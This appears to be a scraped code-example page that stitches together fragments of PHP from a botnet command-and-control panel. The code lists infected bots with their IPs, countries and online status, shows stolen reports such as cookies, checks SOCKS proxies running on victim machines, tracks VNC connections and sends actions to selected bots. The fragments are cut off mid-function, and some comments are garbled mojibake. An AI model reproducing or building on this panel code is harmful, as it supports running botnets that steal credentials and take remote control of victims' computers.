function actionIndex()
    {
        ThemeBegin(LNG_MM_REPORTS_FAV, 0, getBotJsMenu('botmenu'), 0);
        $db = dbPDO::singleton();
        // Query: favorite bots
        $q = $db->query('SELECT
                `b`.`bot_id` AS `botId`,
                `b`.`comment` AS `bot_comment`,
                UNIX_TIMESTAMP() - `b`.rtime_last AS `bot_online_time`
              FROM `botnet_list` `b`
              WHERE `b`.`favorite`=1
              ORDER BY `rtime_last` DESC
             ;');
        if (1 || $q->rowCount()) {
            echo '<table id="favorite-bots-list" class="lined zebra">', '<caption>', 'Bots', '</caption>', '<THEAD><tr>', '<th>', 'Bot Id', '</th>', '<th>', 'Comment', '</th>', '</tr></THEAD>', '<TBODY>';
            while ($bot = $q->fetchObject()) {
                $bot_online = $bot->bot_online_time && $bot->bot_online_time <= $GLOBALS['config']['botnet_timeout'];
                echo '<tr data-botid="', htmlentities($bot->botId), '">', '<th>', botPopupMenu($bot->botId, 'botmenu', $bot->bot_comment, $bot_online), '</th>', '<td>', htmlspecialchars($bot->bot_comment), '</td>', '</tr>';
            }
            echo '</TBODY></table>';
        }
        // Query: favorite reports
        $q = $db->prepare('
			SELECT
				`fav`.`id`,
				`fav`.`table`, `fav`.`report_id`,
				`fav`.`botId`, `fav`.`rtime`, `fav`.`path_source`,
				`fav`.`favtime`, `fav`.`comment`,

				UNIX_TIMESTAMP() - `b`.rtime_last AS `bot_online_time`,
				`b`.`comment` AS `bot_comment`
			FROM `botnet_rep_favorites` `fav`
				LEFT JOIN `botnet_list` `b` ON(`fav`.`botId` = `b`.`bot_id`)
			WHERE `fav`.`favorite`>=0
			ORDER BY
				`favtime` DESC
			');
        $q->setFetchMode(PDO::FETCH_OBJ);
        $q->execute();
        // Display
        echo '<table id="favorite-reports-list" class="lined zebra">', '<caption>', 'Reports', '</caption>', '<THEAD><tr>', '<th>', LNG_REPORTS_TH_BOT_REPORT, '</th>', '<th>', LNG_REPORTS_TH_RTIME, '</th>', '<th>', LNG_REPORTS_TH_COMMENT, '</th>', '</tr></THEAD>', '<TBODY>';
        foreach ($q as $report) {
            $bot_online = $report->bot_online_time && $report->bot_online_time <= $GLOBALS['config']['botnet_timeout'];
            $report_url = sprintf('?m=reports_db&t=%s&id=%s', $report->table, $report->report_id);
            echo '<tr data-ajax="id=', $report->id, '">';
            echo '<th>', botPopupMenu($report->botId, 'botmenu', $report->bot_comment, $bot_online), '<a class="report" href="', $report_url, '" target="_blank">[+] ', htmlspecialchars(empty($report->path_source) ? date('d.m.Y H:i:s', $report->rtime) : $report->path_source), '</a>', '</th>';
            echo '<td class="rtime">', date('d.m.Y H:i:s', $report->rtime), '</td>';
            echo '<td class="comment" contentEditable="false">', str_replace("\n", '<p>', htmlspecialchars($report->comment)), '</td>';
            echo '</tr>';
        }
        echo '</TBODY>', '</table>';
        echo LNG_HINT_CONTEXT_MENU;
        echo <<<HTML
\t\t<link rel="stylesheet" href="theme/js/contextMenu/src/jquery.contextMenu.css" />
\t\t<script src="theme/js/contextMenu/src/jquery.contextMenu.js"></script>
\t\t<script src="theme/js/contextMenu/src/jquery.ui.position.js"></script>
\t\t<script src="theme/js/page-reports_fav.js"></script>
HTML;
    }
Beispiel #2
0
                            }
                            mysql_free_result($r);
                            unset($m);
                            $data = str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(3, LNG_BA_PORT_SOCKS_TITLE), THEME_LIST_TITLE);
                            $i = 0;
                            $jsList = '';
                            //Выводим результат.
                            foreach ($blist as $bot) {
                                $isExists = isset($res[$bot]);
                                $item = $i++ % 2 == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2;
                                if ($isExists) {
                                    $l = $res[$bot];
                                    $ipv4 = binaryIpToString($l[2]);
                                    $jsList .= ($jsList == '' ? '' : ', ') . "['st{$i}', '" . addJsSlashes(urlencode($ipv4)) . "', '" . addJsSlashes(urlencode($l[3])) . "']";
                                }
                                $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($bot, 'botmenu') . THEME_STRING_SPACE . '/' . THEME_STRING_SPACE . ($isExists ? $l[1] : '--')), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? htmlEntitiesEx($ipv4 . ':' . $l[3]) : '-:-'), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? str_replace('{ID}', 'st' . $i, THEME_STRING_ID_BEGIN) . LNG_BA_PORT_SOCKS_CHECKING . THEME_STRING_ID_END : LNG_BA_PORT_SOCKS_FAILED), $item) . THEME_LIST_ROW_END;
                            }
                            //Скрипт для проверки соксов.
                            $ajaxError = addJsSlashes(str_replace('{TEXT}', LNG_BA_PORT_SOCKS_ERROR, THEME_STRING_ERROR));
                            $ajaxInit = jsXmlHttpRequest('socksHttp');
                            $q = addJsSlashes(QUERY_SCRIPT . '?botsaction=port_socks&bots[]=0');
                            $ajax = <<<JS_SCRIPT
var socksList = [{$jsList}];
var socksHttp = false;

function stateChange(i){if(socksHttp.readyState == 4)
{
  var el = document.getElementById(socksList[i][0]);
  if(socksHttp.status == 200 && socksHttp.responseText.length > 5)el.innerHTML = socksHttp.responseText;
  else el.innerHTML = '{$ajaxError}';
  SocksCheck(++i);
Beispiel #3
0
$offset = ($curPage - 1) * BOTS_PER_PAGE;
if (!$r || !($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `botnet`, `bot_version`, LOCATE(`ipv4`, `ipv4_list`), `ipv4`, `country`, `rtime_online`, IF(`rtime_last`>=' . ONLINE_TIME_MIN . ', 1, 0), `net_latency`, `comment` FROM `botnet_list` ' . $query2 . ' LIMIT ' . $offset . ', ' . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) {
    $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
} else {
    $i = 0;
    while ($mt = @mysql_fetch_row($r)) {
        //IPv4.
        $ipv4 = binaryIpToString($mt[4]);
        //Метка NAT.
        if ($mt[3] == 0) {
            $ipv4 .= '*';
        }
        $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
        $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
        $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1;
        $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END;
        $i++;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание списока дейтвий.
///////////////////////////////////////////////////////////////////////////////////////////////////
$actions = '';
if ($pageCount > 0 && count($botMenu) > 0) {
    $data = LNG_BOTNET_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN);
    foreach ($botMenu as $item) {
        $data .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM);
    }
    $data .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMITMINI);
    $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $data, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END;
}
 $fb_R = mysql_query('SELECT bot_id, comment FROM `botnet_list` WHERE `comment`<>"";');
 while (!is_bool($fb_r = mysql_fetch_row($fb_R))) {
     $favorite_bots[$fb_r[0]] = $fb_r[1];
 }
 echo '<ul class="bot-search-results">';
 //Выводим результат.
 $nn = $filter['nonames'];
 while ($m = mysql_fetch_row($r)) {
     //Запись нового имени бота.
     if ($nn === 0 && strcasecmp($m[1], $last_botid) !== 0) {
         if ($last_botid !== 0) {
             echo '</ol></li>';
         }
         # /ol.bot-reports, /ul.bots li
         $last_botid = $m[1];
         echo '<li>', '<div class="bot-header">', '<div class="botid">', '<input type="checkbox" name="bots[]" value="', htmlentities($m[1]), '" /> ', botPopupMenu($m[1], 'botmenu', isset($favorite_bots[$m[1]]) ? $favorite_bots[$m[1]] : ''), empty($favorite_bots[$m[1]]) ? '' : "<span class=\"favbot-comment\">( {$favorite_bots[$m[1]]} )</span>", '</div>', '<div class="bot-info">', htmlEntitiesEx(($m[2] != '??' ? $m[2] . ', ' : '') . $m[3]), '</div>', '</div>', '<ol class="bot-reports" data-botid="' . htmlentities($m[1]) . '">';
     }
     //Запись заголовка лога.
     $st1 = trim($m[4]);
     $st2 = trim($m[5]);
     if (mb_strlen($st1) >= REPORT_PREVIEW_MAX_CHARS) {
         $st1 .= '...';
     }
     if (mb_strlen($st2) >= REPORT_PREVIEW_MAX_CHARS) {
         $st2 .= '...';
     }
     $text = '';
     switch ($m[6]) {
         case BLT_COOKIES:
             $text = LNG_BLT_COOKIES;
             break;
             $cmd_parsed[] = $parsed;
         }
     }
 }
 # Display
 echo '<table border=1 id="cmdlist">';
 echo '<THEAD><tr>', '<th>#</th>', '<th>BotID</th>';
 foreach ($cmd_columns as $c => $islong) {
     echo "<th>{$c}</th>";
 }
 echo '</tr></THEAD>';
 echo '<TBODY>';
 foreach ($cmd_parsed as $row) {
     print '<tr>';
     echo '<td' . ($row[-1] ? ' class="favorite"' : '') . '>', $row[0], '</td>';
     echo '<td>', botPopupMenu($row[1], 'botmenu', isset($favorite_bots[$row[1]]) ? $favorite_bots[$row[1]] : ''), '</td>';
     foreach ($cmd_columns as $cname => $islong) {
         print '<td>';
         if (!isset($row[$cname]) || !$row[$cname]) {
             print ' </td>';
             continue;
         }
         if ($islong) {
             print '<a class="tdexpand" href="#">[ + ]</a><div class="tdexpand">';
         }
         if (isset($row[$cname])) {
             if (is_scalar($row[$cname])) {
                 print htmlspecialchars($row[$cname]);
             } else {
                 print '<ol>';
                 foreach ($row[$cname] as $l) {
     }
     $bots_count = $mt[0];
 }
 //Получение списка элементов.
 $offset = ($cur_page - 1) * BOTS_PER_PAGE;
 $blist = '';
 if (!$r || !($r = mysqlQueryEx('botnet_scripts_stat', "SELECT type, bot_id, bot_version, rtime, report FROM botnet_scripts_stat WHERE extern_id='" . addslashes($m[10]) . "' {$sortmode} LIMIT {$offset}, " . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) {
     $blist = THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_REPORTS_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
 } else {
     $i = 0;
     while ($mt = @mysql_fetch_row($r)) {
         $theme_text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
         $theme_num = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
         $theme_cb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1;
         $status = $mt[0] == 1 ? LNG_BOTNET_REPORTS_SSENDED : ($mt[0] == 2 ? LNG_BOTNET_REPORTS_SREADY : LNG_BOTNET_REPORTS_SERROR);
         $blist .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[1]), ''), $theme_cb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $mt[3]))), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $status), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[1], 'botmenu')), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[4])), $theme_text) . THEME_LIST_ROW_END;
         $i++;
     }
 }
 //Создание списока дейтвий.
 $actions = '';
 if ($bots_count > 0 && count($botMenu) > 0) {
     $actions = LNG_BOTNET_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN);
     foreach ($botMenu as $item) {
         $actions .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM);
     }
     $actions .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT);
     $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $actions, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END;
 }
 //Вывод таблицы.
 $data .= THEME_VSPACE . str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('reportslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_REPORTS, numberFormatAsInt($bots_count))), THEME_DIALOG_TITLE) . $page_list . $actions . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, '#', 'auto'), THEME_LIST_HEADER_R) . writeSortColumn(LNG_BOTNET_REPORTS_RTIME, 0, 1) . writeSortColumn(LNG_BOTNET_REPORTS_TYPE, 1, 0) . writeSortColumn(LNG_BOTNET_REPORTS_BOTID, 2, 0) . writeSortColumn(LNG_BOTNET_REPORTS_VERSION, 3, 1) . writeSortColumn(LNG_BOTNET_REPORTS_REPORT, 4, 0) . THEME_LIST_ROW_END . $blist . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END . THEME_FORMGET_END;
Beispiel #7
0
function TitleAsPathNavigator($path)
{
    $_url_subdir = QUERY_STRING_HTML . '&amp;path=&amp;sub=';
    $str = '';
    $list = explode('/', str_replace('\\', '/', $path));
    $p = '';
    $i = 0;
    foreach ($list as $k) {
        if ($i++ == 2) {
            $str .= '/' . botPopupMenu(urldecode($k), 'botmenu');
        } else {
            $str .= '/' . str_replace(array('{URL}', '{TEXT}'), array($_url_subdir . htmlEntitiesEx(urlencode($p . $k)), htmlEntitiesEx(urldecode($k))), THEME_LIST_ANCHOR);
        }
        $p .= $k . '/';
    }
    echo str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(COLUMNS_COUNT, $str == '' ? '/' : $str), THEME_LIST_TITLE);
}
);
echo '<table id="bots-list" class="lined">';
echo '<THEAD><tr>', '<th>', LNG_BOTS_LIST_TH_BOT, '</th>', '<th>', $CLICKSORT->field_render('bot_os', LNG_BOTS_LIST_TH_BOT_INFO), '</th>', '<th>', $CLICKSORT->field_render('ctime', LNG_BOTS_LIST_TH_BOT_STATUS), '</th>', '<th>', LNG_BOTS_LIST_TH_CONN_STATUS, '</th>', '<th>', LNG_BOTS_LIST_TH_CONNECTION_INFO, '</th>', '</tr></THEAD>';
echo '<TBODY>';
while ($R && !is_bool($r = mysql_fetch_assoc($R))) {
    $classes = array();
    $bot_online = (bool) $r['bot_online'];
    $conn_online_time = time() - $r['ctime'];
    $conn_is_online = $conn_online_time < VNC_RECONNECT_THRESHOLD * 2;
    $classes[] = $bot_online ? 'bot_online' : 'bot_offline';
    $classes[] = $conn_is_online ? 'conn_online' : 'conn_offline';
    if ($r['do_connect'] < 0) {
        $classes[] = 'autoconnect';
    }
    echo '<tr', $classes ? ' class="' . implode(' ', $classes) . '"' : '', ' data-href="&bot=', urlencode($r['bot_id']), '">';
    echo '<td>', botPopupMenu($r['bot_id'], 'botmenu', $r['bot_comment']), '</td>';
    echo '<td>', 'OS: ', osDataToString($r['bot_os']), '</td>';
    echo '<td>', $bot_online ? LNG_BOTS_LIST_BOT_STATUS_ONLINE . ': ' . tickCountToText($r['bot_online']) : LNG_BOTS_LIST_BOT_STATUS_OFFLINE, ' , ', LNG_BOTS_LIST_BOT_STATUS_LAST_LIFESIGN, ' ', date_short($r['bot_rtime_last']), '</td>';
    echo '<td>';
    # connection status: online, online (persistent), offline + time
    if ($conn_is_online) {
        # connected
        echo LNG_BOTS_LIST_STATUS_CONNECTED, ': ', tickCountToText($conn_online_time);
    } else {
        # idle, waiting, disconnected
        if ($r['do_connect'] == 0) {
            echo $r['ctime'] == 0 ? LNG_BOTS_LIST_STATUS_IDLE : LNG_BOTS_LIST_STATUS_DISCONNECTED;
        } else {
            echo LNG_BOTS_LIST_STATUS_WAITING;
        }
        # last time was online
 $GLOBALS['_next_bot_popupmenu__'] = $filter['date'];
 $q = 'SELECT id, bot_id, country, ipv4, SUBSTRING(context, 1, ' . REPORT_PREVIEW_MAX_CHARS . '), SUBSTRING(path_source, 1, ' . REPORT_PREVIEW_MAX_CHARS . '), type FROM ' . $table . $query1 . $query2;
 $r = mysqlQueryEx($table, $q);
 if (!$r) {
     die(mysqlErrorEx());
 }
 if (mysql_affected_rows() == 0) {
     die(LNG_REPORTS_DATE_NOREPORTS);
 }
 //R'S <RІRѕRґReRј SЂRμR · SѓR "SЊS, P ° C.
 $nn = $filter['nonames'];
 while ($m = mysql_fetch_row($r)) {
     //P-P ° RїReSЃSЊ RЅRѕRІRѕRіRѕ ReRјRμRЅRe P ± RѕS, P °.
     if ($nn === 0 && strcasecmp($m[1], $last_botid) !== 0) {
         $last_botid = $m[1];
         echo THEME_STRING_NEWLINE . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($m[1]), ''), THEME_DIALOG_ITEM_INPUT_CHECKBOX_3) . THEME_STRING_SPACE . botPopupMenu($m[1], 'botmenu') . THEME_STRING_NEWLINE . htmlEntitiesEx($m[2] . ', ' . $m[3]) . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE;
     }
     //P-P ° P RїReSЃSЊ · P ° RіRѕR "RѕRІRєR ° P" RѕRіR °.
     $st1 = trim($m[4]);
     $st2 = trim($m[5]);
     if (mb_strlen($st1) >= REPORT_PREVIEW_MAX_CHARS) {
         $st1 .= '...';
     }
     if (mb_strlen($st2) >= REPORT_PREVIEW_MAX_CHARS) {
         $st2 .= '...';
     }
     $text = '';
     switch ($m[6]) {
         case BLT_COOKIES:
             $text = LNG_BLT_COOKIES;
             break;